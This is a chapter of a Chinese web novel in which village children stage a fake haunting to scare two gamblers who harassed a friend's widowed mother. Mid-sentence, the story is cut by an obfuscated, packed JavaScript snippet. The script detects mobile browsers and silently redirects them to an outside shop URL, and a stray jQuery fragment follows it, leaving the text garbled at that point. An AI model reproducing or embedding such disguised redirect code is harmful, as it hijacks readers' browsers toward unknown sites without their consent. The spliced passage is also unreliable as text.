文趣网 > 其他小说 > 姐控要从小养起 > 13. 第十三章
    丁家强刚差点让周小萍的一巴掌吓出个好歹,周小萍一拽他的手:“看!”

    顾不得感受手上传来的温热,丁家强赶紧学着她的动作猫到土墙后边,往大路看去。

    一队煤矿工人正蚂蚁一样整齐地沿着山路走向镇子。工人们一边走一边高声笑谈着,身上的衣服都是黑乎乎的,被煤灰混得看不出原来的颜色,脸上的笑容却一点儿也不暗淡。

    二人都不近视,一眼就看到了周父周母、王自强他爸、李翠翠妈……还有总是那副沉静面孔的丁姨。

    她没有走在其他几个家长旁边,自己排在队伍较稀拉的一处,慢慢走着。

    丁家强倒没觉得奇怪,他妈向来都是一副淡淡的样子,不凑热闹很正常。周小萍他妈说“矛盾”的难道是以为她被排挤了?

    周小萍没吭声,目不转睛地看着。

    正在这时,人群里有两个男子离丁姨越来越近。虽然速度很慢,但远远看去,那和队伍格格不入的轨迹分外明显。

    丁姨也在不着痕迹地远离他们,但那两个身影还是逐渐接近了丁姨。

    其中一个身影终于走到了丁姨身边。丁姨没分给他们一个眼神,那男子却伸手一抬,就想把胳膊搂在丁姨肩上。

    周小萍和丁家强都瞪大了眼睛。

    丁姨侧身一瞥,就轻巧地将身子避开了他。那男子捞了个空,气急败坏的骂了两句,看不清嘴型,又啐了一口,另一个男子上来拉住他,也对着丁姨横了两句。

    说来,丁姨确实是位风骨美人。

    丁家强长相随他爸更多,尽管如此,都能从他脸上看出些丁姨那种不为风雨折腰的清妍神态。

    想当年不少人都为她那张淡然出尘的容颜倾倒,如今虽青春不复,可底子还是在的,已为人母许多年,雷厉风行,更添上了些不可侵犯的威严。

    任谁都不敢打她的心思。

    周小萍当时只听见几个正八卦的工人提到什么什么骚扰,还当想是哪个不长眼的同丁姨有了争执,没想到是这个骚扰法!

    周小萍一时怒不可遏,丁家强更是简直一股鬼火烧上天灵盖,二人的手紧紧地攥在一起。

    渐渐走到路口了,那男子嘴里还不干不净地说着:“……臭婊子,男人都死了,还带着那么多拖油瓶,老子看上你是你的福气!”

    不知是真的嫌恶至此,还是为了找回几分面子。

    丁姨全然一副六大皆空的表情,素雅的五官一点儿波动都没有。垂下来的辫子搭在肩上,走得稳稳当当,发丝都不动。

    旁边几个工人自然是听得一清二楚,然而却各个都装作听不见,不敢去凑这个热闹,又悄悄竖起耳朵听着。

    周小萍狠狠地拽着丁家强,好险没让他给扑出去了。

    待队伍走远了,她才恼道:“你要冲出去给人家看乐子呀!”丁家强转过来看着周小萍,喘着气,半晌慢慢把手松开。

    丁家强倒是皮糙肉厚,周小萍细白的手背让他捏出好几道红印子。周小萍甩甩手,瞪了他一眼,丁家强才有些心虚地移开视线。

    “这仇,要报!”周小萍盯着丁家强。

    丁家强转回脸来,看了她几秒,低低地“嗯”了一声,将目光投向工人队伍消失的方向。

    周小萍问过丁家强的意愿后,第二天一早,就在活动时间在学校和几人通上了气。

    王自强一拍路牙子:“这俩人脑子有坑吧,丁姨的主意他们也敢打?”

    陈国豪:“就、就是,必须……必须要他们好看!”

    周小萍几人不由得看了他一眼,小时候是小蔫巴菜、长大了变成细豆芽的陈国豪,居然还能讲出这么气势汹汹的话,值得侧目。

    丁家强垂着脑袋在一旁,没有插话,不知道在想什么。

    李翠翠:“对,必须得管。怎么个管法,还得想想。不能让他们狗急跳墙了。”

    马建新:“我们恐吓他们!我们人多!”

    李翠翠:“你个熊玩意儿,长的没人家腰高,招笑呢?”

    几人很配合地笑出了声。

    马建新想了想:“那我们扮鬼吧,我们不吓人,鬼总还是吓人的!”

    几人正想嘲他,多大人了还扮鬼,李翠翠却道:“等等。这还真有说法,我前几天听我妈跟我爸讲,又有工人出事了。

    死得还挺惨,掉空洞里了,旁边刚挖的土又塌方把口埋上了。几天没人发现,最后找到的时候旁边的洞壁上都是挠出来的血印子,十个指头的白骨头都磨出来了……”

    几人齐齐大叫:“别说了!!!!”

    以前没发现李翠翠这么适合讲鬼故事呢!

    李翠翠终于收了那阴森森的腔调,吐吐舌头,黑瘦的瓜子脸上露出一点狡黠的笑意。

    虽然她那个迂腐的老爸始终表示不信这类鬼神之说,但看来她很有唬人的天赋嘛,李翠翠得意地想。

    几人又各自打听了那两个男子,原来二人分别叫东子和冯怀,是小煤镇出了名的爱打牌赌宝的街溜子。

    有钱便花,有乐子便凑,好事没做过,各家的便宜可是没少占,风评一向还不如踏脚的门槛儿高。

    不管白天如何何,夜晚他们必定要去牌坊打到三更,再喜出望外、或是脸色阴沉地出来。

    那死的工人也正是他们的牌友之一,李翠翠所说的“细节”先不提,据说是因为头一天晚上赌多了,连本带利亏了好几个月工资,一胸憋闷,才在第二天的矿区里做了错误操作,出了意外。

    择日不如撞日,于是众人连夜编排好为他们精心打造的“鬼故事”,再按“剧本”准备好道具,埋伏在了他们从那个牌坊回家的必经之路上。

    是夜,正是那工人的头七。

    王自强拎着锅和瓢,陈国豪揣着两兜的硬纸片,几人蹲守在牌坊不远处的巷子里,很快就看到了那两个歪歪扭扭的身影。

    他们跟了几步,确认计划可以照常进行,周小萍就对马建新打了个手势。

    “我好冷……我好冷……”

    空无一人的夜里,那声音微弱又颤抖,好像被风一吹就要散了,哀怨又凄苦,听得人好像被一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722068|208715||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    阵阴风吹过,后背都是鸡皮疙瘩。

    马建新匍匐在墙根儿下前进,一手捏着嗓子,一手拢在嘴边,抻着脖子念台词。几个人在旁边看着他表演,忍笑忍得发抖。

    那两个男子不晓得听没听见,只是脚步好像加快了一些。

    几人也加快了步子,紧紧跟着。

    “好冷……东子,东子……为什么不救我?”

    陈国豪这时候适时地搓搓口袋,硬纸片被挤压,发出如同风吹过草地的声音。

    但是这又不是田地,哪来的草!

    四周都是空荡荡的街道,和孤零零的土房子,这“稀里唰啦”的声音便尤其阴森。

    东子和冯怀飞速地往后看了一眼,周小萍几人早就藏到土墙后面了。

    两个男人一个人影儿没见到,更是夹紧了屁股闷头往前走。

    几人交换了一下眼神,效果很好啊。

    于是马建新清清嗓子,准备开始高潮部分的表演。

    “我好恨……好恨!若不是你们赢了我那么多……我怎么会死?”

    “拿命来……你们拿命来!!!”

    马建新的声音陡然尖利起来,那调子真是让人听了便想拔腿就跑!

    东子和冯怀再也顾不上什么脸面,这可是生死攸关的时候!他们撒腿就往前冲。

    远方街边,平房里的灯透过窗,在土路上标出一方明黄。

    光下立着一个人,素静的衣衫褂裤,腰上用布条作腰带打了个利落的结。

    闻声,那人扭头向这边看来,昏暗的光线也难掩那一眼惊鸿。

    正是丁姨。

    东子和冯怀顿了顿,更加卖力地冲刺起来。

    周小萍几人离得更远,还看不清发生了什么,王自强拎着锅,看了周小萍一眼,二人决定开启最终步骤。

    “……你们还敢在矿区为非作歹……让我不得安息啊!!!!”

    随后“哐”的一声巨响,王自强卯足了劲用瓢将锅一敲,震耳欲聋得叫他把锅都吓掉了,又是“哐啷”一声,声音大到让几人就算早有防备都吓得一蹦。

    丁姨听着那熟悉的声音,眉毛跳了跳。

    这声音忒熟悉,前几天她手滑把她家的锅摔到地上是便是这个声儿。

    东子和冯怀再心虚也觉得不对了,一扭头:“谁?!”

    几人赶紧屏住呼吸闪到墙后面。王自强拎着瓢抱着锅,马建新捂着嘴,各个都眼珠子提溜着,互相交换了个窃笑的表情。

    东子看了冯怀一眼,手摸到后腰,握住了一个圆把。

    他慢慢地迈出一步,将那圆把抽出一点,金属的光泽露出来。

    夜夜都晚归,身上怎么没有个防身的东西?尤其是他们这种劣迹斑斑的人,更是杯弓蛇影。

    那露出的一线刀身在黑暗中泛着光。

    几个孩子浑然不知,还在为自己的计谋沾沾自喜。

    丁姨终于无奈地从灯下出来,走到被夜色包裹的土路上,走到两个男人身后。

    “你们大晚上在这儿干什么?”